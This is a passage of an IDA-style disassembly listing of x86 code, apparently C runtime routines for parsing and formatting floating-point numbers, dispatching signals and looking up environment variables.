loc_4214B2: ; CODE XREF: sub_421411+77j mov esi, 8000h loc_4214B7: ; CODE XREF: sub_421411+B9j test [ebx+8], esi jnz short loc_4214CC push ebx call sub_4213B6 add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4214B7 ; --------------------------------------------------------------------------- loc_4214CC: ; CODE XREF: sub_421411+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_421411 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4214D8 proc near ; CODE XREF: sub_42067A+17p ; sub_4206A7+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_421513: ; CODE XREF: sub_4214D8+52j mov cl, [edi] cmp cl, 20h jz short loc_421529 cmp cl, 9 jz short loc_421529 cmp cl, 0Ah jz short loc_421529 cmp cl, 0Dh jnz short loc_42152C loc_421529: ; CODE XREF: sub_4214D8+40j ; sub_4214D8+45j ... inc edi jmp short loc_421513 ; --------------------------------------------------------------------------- loc_42152C: ; CODE XREF: sub_4214D8+4Fj push 4 pop esi loc_42152F: ; CODE XREF: sub_4214D8+AEj ; sub_4214D8+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4217B2 ; default ; jumptable 0042153B case 10 jmp off_421979[eax*4] ; switch jump loc_421542: ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 0 jl short loc_421553 cmp bl, 39h jg short loc_421553 loc_42154C: ; CODE XREF: sub_4214D8+C4j ; sub_4214D8+118j push 3 jmp loc_421770 ; --------------------------------------------------------------------------- loc_421553: ; CODE XREF: sub_4214D8+6Dj ; sub_4214D8+72j cmp bl, byte_433E80 jnz short loc_421562 loc_42155B: ; CODE XREF: sub_4214D8+124j push 5 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_421562: ; CODE XREF: sub_4214D8+81j movsx eax, bl sub eax, 2Bh jz short loc_421588 dec eax dec eax jz short loc_42157C sub eax, 3 jnz loc_42184B jmp loc_42160B ; --------------------------------------------------------------------------- loc_42157C: ; CODE XREF: sub_4214D8+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421588: ; CODE XREF: sub_4214D8+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_42152F ; --------------------------------------------------------------------------- loc_421591: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 1 mov [ebp+var_10], edx jl short loc_42159E cmp bl, 39h jle short loc_42154C loc_42159E: ; CODE XREF: sub_4214D8+BFj cmp bl, byte_433E80 jz loc_421666 cmp bl, 2Bh jz short loc_4215E0 cmp bl, 2Dh jz short loc_4215E0 cmp bl, 30h jz short loc_42160B loc_4215B9: ; CODE XREF: sub_4214D8+207j cmp bl, 43h jle loc_42184B cmp bl, 45h jle short loc_4215D9 cmp bl, 63h jle loc_42184B cmp bl, 65h jg loc_42184B loc_4215D9: ; CODE XREF: sub_4214D8+EDj push 6 jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E0: ; CODE XREF: sub_4214D8+D5j ; sub_4214D8+DAj ... dec edi push 0Bh jmp loc_4217A8 ; --------------------------------------------------------------------------- loc_4215E8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 2 jl short loc_4215F6 cmp bl, 39h jle loc_42154C loc_4215F6: ; CODE XREF: sub_4214D8+113j cmp bl, byte_433E80 jz loc_42155B cmp bl, 30h jnz loc_4217C0 loc_42160B: ; CODE XREF: sub_4214D8+9Fj ; sub_4214D8+DFj mov eax, edx jmp loc_42152F ; --------------------------------------------------------------------------- loc_421612: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_10], edx ; jumptable 0042153B case 3 loc_421615: ; CODE XREF: sub_4214D8+184j cmp dword_433E7C, edx jle short loc_42162E movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42163C ; --------------------------------------------------------------------------- loc_42162E: ; CODE XREF: sub_4214D8+143j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42163C: ; CODE XREF: sub_4214D8+154j test eax, eax jz short loc_42165E cmp [ebp+var_4], 19h jnb short loc_421656 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_421659 ; --------------------------------------------------------------------------- loc_421656: ; CODE XREF: sub_4214D8+16Cj inc [ebp+var_8] loc_421659: ; CODE XREF: sub_4214D8+17Cj mov bl, [edi] inc edi jmp short loc_421615 ; --------------------------------------------------------------------------- loc_42165E: ; CODE XREF: sub_4214D8+166j cmp bl, byte_433E80 jnz short loc_4216CD loc_421666: ; CODE XREF: sub_4214D8+CCj mov eax, esi jmp loc_42152F ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+var_4], 0 ; jumptable 0042153B case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_421686 loc_421679: ; CODE XREF: sub_4214D8+1ACj cmp bl, 30h jnz short loc_421686 dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_421679 ; --------------------------------------------------------------------------- loc_421686: ; CODE XREF: sub_4214D8+19Fj ; sub_4214D8+1A4j ... cmp dword_433E7C, edx jle short loc_42169F movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_4216AD ; --------------------------------------------------------------------------- loc_42169F: ; CODE XREF: sub_4214D8+1B4j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4216AD: ; CODE XREF: sub_4214D8+1C5j test eax, eax jz short loc_4216CD cmp [ebp+var_4], 19h jnb short loc_4216C8 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4216C8: ; CODE XREF: sub_4214D8+1DDj mov bl, [edi] inc edi jmp short loc_421686 ; --------------------------------------------------------------------------- loc_4216CD: ; CODE XREF: sub_4214D8+18Cj ; sub_4214D8+1D7j cmp bl, 2Bh jz loc_4215E0 cmp bl, 2Dh jz loc_4215E0 jmp loc_4215B9 ; --------------------------------------------------------------------------- loc_4216E4: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp dword_433E7C, edx ; jumptable 0042153B case 5 mov [ebp+var_24], edx jle short loc_421700 movzx eax, bl push esi push eax call sub_41A642 pop ecx pop ecx push 1 pop edx jmp short loc_42170E ; --------------------------------------------------------------------------- loc_421700: ; CODE XREF: sub_4214D8+215j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_42170E: ; CODE XREF: sub_4214D8+226j test eax, eax jz loc_4217C0 mov eax, esi jmp short loc_421771 ; --------------------------------------------------------------------------- loc_42171A: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o lea ecx, [edi-2] ; jumptable 0042153B case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42172A cmp bl, 39h jle short loc_42176E loc_42172A: ; CODE XREF: sub_4214D8+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4217A6 dec eax dec eax jz short loc_42179A sub eax, 3 jnz loc_42184E loc_42173F: ; CODE XREF: sub_4214D8+2A4j push 8 jmp short loc_4217A8 ; --------------------------------------------------------------------------- loc_421743: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], edx ; jumptable 0042153B case 8 loc_421746: ; CODE XREF: sub_4214D8+276j cmp bl, 30h jnz short loc_421750 mov bl, [edi] inc edi jmp short loc_421746 ; --------------------------------------------------------------------------- loc_421750: ; CODE XREF: sub_4214D8+271j cmp bl, 31h jl loc_42184B cmp bl, 39h jg loc_42184B jmp short loc_42176E ; --------------------------------------------------------------------------- loc_421764: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp bl, 31h ; jumptable 0042153B case 7 jl short loc_421777 cmp bl, 39h jg short loc_421777 loc_42176E: ; CODE XREF: sub_4214D8+250j ; sub_4214D8+28Aj push 9 loc_421770: ; CODE XREF: sub_4214D8+76j pop eax loc_421771: ; CODE XREF: sub_4214D8+240j dec edi jmp loc_42152F ; --------------------------------------------------------------------------- loc_421777: ; CODE XREF: sub_4214D8+28Fj ; sub_4214D8+294j cmp bl, 30h jnz short loc_4217C0 jmp short loc_42173F ; --------------------------------------------------------------------------- loc_42177E: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o cmp [ebp+arg_18], 0 ; jumptable 0042153B case 11 jz short loc_4217AE movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4217A6 dec eax dec eax jnz loc_42184E loc_42179A: ; CODE XREF: sub_4214D8+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217A6: ; CODE XREF: sub_4214D8+258j ; sub_4214D8+2B8j push 7 loc_4217A8: ; CODE XREF: sub_4214D8+85j ; sub_4214D8+103j ... pop eax jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217AE: ; CODE XREF: sub_4214D8+2AAj push 0Ah dec edi pop eax loc_4217B2: ; CODE XREF: sub_4214D8+5Dj ; sub_4214D8+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0042153B case 10 jz loc_421850 jmp loc_42152F ; --------------------------------------------------------------------------- loc_4217C0: ; CODE XREF: sub_4214D8+12Dj ; sub_4214D8+238j ... mov edi, [ebp+arg_8] jmp loc_421850 ; --------------------------------------------------------------------------- loc_4217C8: ; CODE XREF: sub_4214D8+63j ; DATA XREF: ___:off_421979o mov [ebp+var_20], 1 ; jumptable 0042153B case 9 xor esi, esi loc_4217D1: ; CODE XREF: sub_4214D8+339j cmp dword_433E7C, 1 jle short loc_4217E9 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_4217F8 ; --------------------------------------------------------------------------- loc_4217E9: ; CODE XREF: sub_4214D8+300j mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4217F8: ; CODE XREF: sub_4214D8+30Fj test eax, eax jz short loc_421818 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_421813 mov bl, [edi] inc edi jmp short loc_4217D1 ; --------------------------------------------------------------------------- loc_421813: ; CODE XREF: sub_4214D8+334j mov esi, 1451h loc_421818: ; CODE XREF: sub_4214D8+322j mov [ebp+var_1C], esi loc_42181B: ; CODE XREF: sub_4214D8+371j cmp dword_433E7C, 1 jle short loc_421833 movzx eax, bl push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_421842 ; --------------------------------------------------------------------------- loc_421833: ; CODE XREF: sub_4214D8+34Aj mov ecx, off_433C70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_421842: ; CODE XREF: sub_4214D8+359j test eax, eax jz short loc_42184B mov bl, [edi] inc edi jmp short loc_42181B ; --------------------------------------------------------------------------- loc_42184B: ; CODE XREF: sub_4214D8+99j ; sub_4214D8+E4j ... dec edi jmp short loc_421850 ; --------------------------------------------------------------------------- loc_42184E: ; CODE XREF: sub_4214D8+261j ; sub_4214D8+2BCj mov edi, ecx loc_421850: ; CODE XREF: sub_4214D8+2DDj ; sub_4214D8+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_421938 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_42187C cmp [ebp+var_45], 5 jl short loc_421870 inc [ebp+var_45] loc_421870: ; CODE XREF: sub_4214D8+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_42187F ; --------------------------------------------------------------------------- loc_42187C: ; CODE XREF: sub_4214D8+38Dj mov eax, [ebp+var_C] loc_42187F: ; CODE XREF: sub_4214D8+3A2j cmp [ebp+var_4], 0 jbe loc_42192E loc_421889: ; CODE XREF: sub_4214D8+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_421897 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_421889 ; --------------------------------------------------------------------------- loc_421897: ; CODE XREF: sub_4214D8+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_421411 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4218B6 neg eax loc_4218B6: ; CODE XREF: sub_4214D8+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4218C1 add eax, [ebp+arg_10] loc_4218C1: ; CODE XREF: sub_4214D8+3E4j cmp [ebp+var_24], ecx jnz short loc_4218C9 sub eax, [ebp+arg_14] loc_4218C9: ; CODE XREF: sub_4214D8+3ECj cmp eax, 1450h jle short loc_421900 mov [ebp+var_2C], 1 loc_4218D7: ; CODE XREF: sub_4214D8+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4218E3: ; CODE XREF: sub_4214D8+454j ; sub_4214D8+45Ej cmp [ebp+var_2C], 0 jz short loc_421949 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421900: ; CODE XREF: sub_4214D8+3F6j cmp eax, 0FFFFEBB0h jge short loc_421910 mov [ebp+var_30], 1 jmp short loc_4218D7 ; --------------------------------------------------------------------------- loc_421910: ; CODE XREF: sub_4214D8+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_4220C1 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_42192E: ; CODE XREF: sub_4214D8+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4218E3 ; --------------------------------------------------------------------------- loc_421938: ; CODE XREF: sub_4214D8+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_42195E ; --------------------------------------------------------------------------- loc_421949: ; CODE XREF: sub_4214D8+40Fj cmp [ebp+var_30], 0 jz short loc_42195E xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_42195E: ; CODE XREF: sub_4214D8+426j ; sub_4214D8+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4214D8 endp ; --------------------------------------------------------------------------- off_421979 dd offset loc_421542 ; DATA XREF: sub_4214D8+63r dd offset loc_421591 ; jump table for switch statement dd offset loc_4215E8 dd offset loc_421612 dd offset loc_42166D dd offset loc_4216E4 dd offset loc_42171A dd offset loc_421764 dd offset loc_421743 dd offset loc_4217C8 dd offset loc_4217B2 dd offset loc_42177E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219A9 proc near ; CODE XREF: sub_42074B+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_421A0B mov byte ptr [ebx+2], 2Dh jmp short loc_421A0F ; --------------------------------------------------------------------------- loc_421A0B: ; CODE XREF: sub_4219A9+5Aj mov byte ptr [ebx+2], 20h loc_421A0F: ; CODE XREF: sub_4219A9+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_421A35 test edi, edi jnz short loc_421A35 cmp [ebp+arg_0], edi jnz short loc_421A35 loc_421A20: ; CODE XREF: sub_4219A9+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_421C33 ; --------------------------------------------------------------------------- loc_421A35: ; CODE XREF: sub_4219A9+6Cj ; sub_4219A9+70j ... cmp dx, si jnz short loc_421AB4 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_421A4E cmp [ebp+arg_0], 0 jz short loc_421A5D loc_421A4E: ; CODE XREF: sub_4219A9+9Dj test edi, 40000000h jnz short loc_421A5D push offset a1Snan ; "1#SNAN" jmp short loc_421AA3 ; --------------------------------------------------------------------------- loc_421A5D: ; CODE XREF: sub_4219A9+A3j ; sub_4219A9+ABj test cx, cx jz short loc_421A77 cmp edi, 0C0000000h jnz short loc_421A77 cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Ind ; "1#IND" jmp short loc_421A86 ; --------------------------------------------------------------------------- loc_421A77: ; CODE XREF: sub_4219A9+B7j ; sub_4219A9+BFj cmp edi, eax jnz short loc_421A9E cmp [ebp+arg_0], 0 jnz short loc_421A9E push offset a1Inf ; "1#INF" loc_421A86: ; CODE XREF: sub_4219A9+CCj lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_421A95: ; CODE XREF: sub_4219A9+109j and [ebp+var_4], 0 jmp loc_421C0C ; --------------------------------------------------------------------------- loc_421A9E: ; CODE XREF: sub_4219A9+C5j ; sub_4219A9+D0j ... push offset a1Qnan ; "1#QNAN" loc_421AA3: ; CODE XREF: sub_4219A9+B2j lea eax, [ebx+4] push eax call sub_4179C0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_421A95 ; --------------------------------------------------------------------------- loc_421AB4: ; CODE XREF: sub_4219A9+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_4220C1 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_421B15 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_421EA1 pop ecx pop ecx loc_421B15: ; CODE XREF: sub_4219A9+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_421B2F mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_421B32 jmp loc_421A20 ; --------------------------------------------------------------------------- loc_421B2F: ; CODE XREF: sub_4219A9+173j mov edi, [ebp+arg_C] loc_421B32: ; CODE XREF: sub_4219A9+17Fj cmp edi, 15h jle short loc_421B3A push 15h pop edi loc_421B3A: ; CODE XREF: sub_4219A9+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_421B50: ; CODE XREF: sub_4219A9+1B4j lea eax, [ebp+var_10] push eax call sub_4213B6 dec [ebp+arg_14] pop ecx jnz short loc_421B50 test esi, esi jge short loc_421B7A neg esi and esi, 0FFh jle short loc_421B7A loc_421B6D: ; CODE XREF: sub_4219A9+1CFj lea eax, [ebp+var_10] push eax call sub_4213E4 dec esi pop ecx jnz short loc_421B6D loc_421B7A: ; CODE XREF: sub_4219A9+1B8j ; sub_4219A9+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_421BD7 mov [ebp+arg_C], ecx loc_421B8A: ; CODE XREF: sub_4219A9+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4213B6 lea eax, [ebp+var_10] push eax call sub_4213B6 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_421358 lea eax, [ebp+var_10] push eax call sub_4213B6 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_421B8A mov eax, [ebp+arg_14] loc_421BD7: ; CODE XREF: sub_4219A9+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_421C14 loc_421BE4: ; CODE XREF: sub_4219A9+248j cmp eax, ecx jb short loc_421BF7 cmp byte ptr [eax], 39h jnz short loc_421BF3 mov byte ptr [eax], 30h dec eax jmp short loc_421BE4 ; --------------------------------------------------------------------------- loc_421BF3: ; CODE XREF: sub_4219A9+242j cmp eax, ecx jnb short loc_421BFB loc_421BF7: ; CODE XREF: sub_4219A9+23Dj inc eax inc word ptr [ebx] loc_421BFB: ; CODE XREF: sub_4219A9+24Cj inc byte ptr [eax] loc_421BFD: ; CODE XREF: sub_4219A9+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_421C0C: ; CODE XREF: sub_4219A9+F0j mov eax, [ebp+var_4] loc_421C0F: ; CODE XREF: sub_4219A9+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421C14: ; CODE XREF: sub_4219A9+239j ; sub_4219A9+275j cmp eax, ecx jb short loc_421C24 cmp byte ptr [eax], 30h jnz short loc_421C20 dec eax jmp short loc_421C14 ; --------------------------------------------------------------------------- loc_421C20: ; CODE XREF: sub_4219A9+272j cmp eax, ecx jnb short loc_421BFD loc_421C24: ; CODE XREF: sub_4219A9+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_421C33: ; CODE XREF: sub_4219A9+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_421C0F sub_4219A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421C3C proc near ; CODE XREF: sub_41D4FC+342Fp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_421CA3 dec eax dec eax jz short loc_421C94 sub eax, 4 jz short loc_421C94 sub eax, 3 jz short loc_421C94 sub eax, 4 jz short loc_421C87 sub eax, 6 jz short loc_421C7A dec eax jz short loc_421C6D or eax, 0FFFFFFFFh jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421C6D: ; CODE XREF: sub_421C3C+27j mov esi, dword_4CDC94 mov eax, offset dword_4CDC94 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C7A: ; CODE XREF: sub_421C3C+24j mov esi, dword_4CDC90 mov eax, offset dword_4CDC90 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C87: ; CODE XREF: sub_421C3C+1Fj mov esi, dword_4CDC98 mov eax, offset dword_4CDC98 jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421C94: ; CODE XREF: sub_421C3C+10j ; sub_421C3C+15j ... push edi call sub_421D69 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_421CAE ; --------------------------------------------------------------------------- loc_421CA3: ; CODE XREF: sub_421C3C+Cj mov esi, dword_4CDC8C mov eax, offset dword_4CDC8C loc_421CAE: ; CODE XREF: sub_421C3C+3Cj ; sub_421C3C+49j ... cmp esi, 1 jnz short loc_421CBA xor eax, eax jmp loc_421D65 ; --------------------------------------------------------------------------- loc_421CBA: ; CODE XREF: sub_421C3C+75j test esi, esi jnz short loc_421CC5 push 3 call sub_419AF6 loc_421CC5: ; CODE XREF: sub_421C3C+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_421CD7 cmp edi, 0Bh jz short loc_421CD7 cmp edi, 4 jnz short loc_421CFD loc_421CD7: ; CODE XREF: sub_421C3C+8Fj ; sub_421C3C+94j mov ebx, dword_4CDA68 and dword_4CDA68, 0 cmp edi, ecx jnz short loc_421D2C mov edx, dword_4362EC mov dword_4362EC, 8Ch mov [ebp+arg_0], edx jmp short loc_421D00 ; --------------------------------------------------------------------------- loc_421CFD: ; CODE XREF: sub_421C3C+99j mov ebx, [ebp+arg_0] loc_421D00: ; CODE XREF: sub_421C3C+BFj cmp edi, ecx jnz short loc_421D2C mov eax, dword_4362E0 mov ecx, dword_4362E4 add ecx, eax cmp eax, ecx jge short loc_421D33 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:436270h[edx*4] loc_421D21: ; CODE XREF: sub_421C3C+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_421D21 jmp short loc_421D33 ; --------------------------------------------------------------------------- loc_421D2C: ; CODE XREF: sub_421C3C+AAj ; sub_421C3C+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_421D41 loc_421D33: ; CODE XREF: sub_421C3C+D7j ; sub_421C3C+EEj push dword_4362EC push 8 call esi pop ecx pop ecx jmp short loc_421D4F ; --------------------------------------------------------------------------- loc_421D41: ; CODE XREF: sub_421C3C+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_421D4F cmp edi, 4 jnz short loc_421D62 loc_421D4F: ; CODE XREF: sub_421C3C+103j ; sub_421C3C+10Cj cmp edi, 8 mov dword_4CDA68, ebx jnz short loc_421D62 mov eax, [ebp+arg_0] mov dword_4362EC, eax loc_421D62: ; CODE XREF: sub_421C3C+111j ; sub_421C3C+11Cj xor eax, eax pop ebx loc_421D65: ; CODE XREF: sub_421C3C+2Cj ; sub_421C3C+79j pop edi pop esi pop ebp retn sub_421C3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_421D69 proc near ; CODE XREF: sub_421C3C+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4362E8 cmp dword_43626C, edx push esi mov eax, offset dword_436268 jz short loc_421D97 lea esi, [ecx+ecx*2] lea esi, ds:436268h[esi*4] loc_421D8B: ; CODE XREF: sub_421D69+2Cj add eax, 0Ch cmp eax, esi jnb short loc_421D97 cmp [eax+4], edx jnz short loc_421D8B loc_421D97: ; CODE XREF: sub_421D69+16j ; sub_421D69+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:436268h[ecx*4] cmp eax, ecx jnb short loc_421DAB cmp [eax+4], edx jz short locret_421DAD loc_421DAB: ; CODE XREF: sub_421D69+3Bj xor eax, eax locret_421DAD: ; CODE XREF: sub_421D69+40j retn sub_421D69 endp ; =============== S U B R O U T I N E ======================================= sub_421DAE proc near ; CODE XREF: sub_42094E+23p arg_0 = dword ptr 4 cmp dword_4CF030, 0 push ebx push esi mov esi, dword_4CD9DC push edi jz short loc_421E25 test esi, esi jnz short loc_421DDF cmp dword_4CD9E4, esi jz short loc_421E25 call sub_42217C test eax, eax jnz short loc_421E25 mov esi, dword_4CD9DC test esi, esi jz short loc_421E25 loc_421DDF: ; CODE XREF: sub_421DAE+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_421E25 push ebx call sub_417AB0 pop ecx mov edi, eax loc_421DF0: ; CODE XREF: sub_421DAE+6Dj mov eax, [esi] test eax, eax jz short loc_421E25 push eax call sub_417AB0 cmp eax, edi pop ecx jbe short loc_421E18 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_421E18 push edi push ebx push eax call sub_42213D add esp, 0Ch test eax, eax jz short loc_421E1D loc_421E18: ; CODE XREF: sub_421DAE+51j ; sub_421DAE+59j add esi, 4 jmp short loc_421DF0 ; --------------------------------------------------------------------------- loc_421E1D: ; CODE XREF: sub_421DAE+68j mov eax, [esi] lea eax, 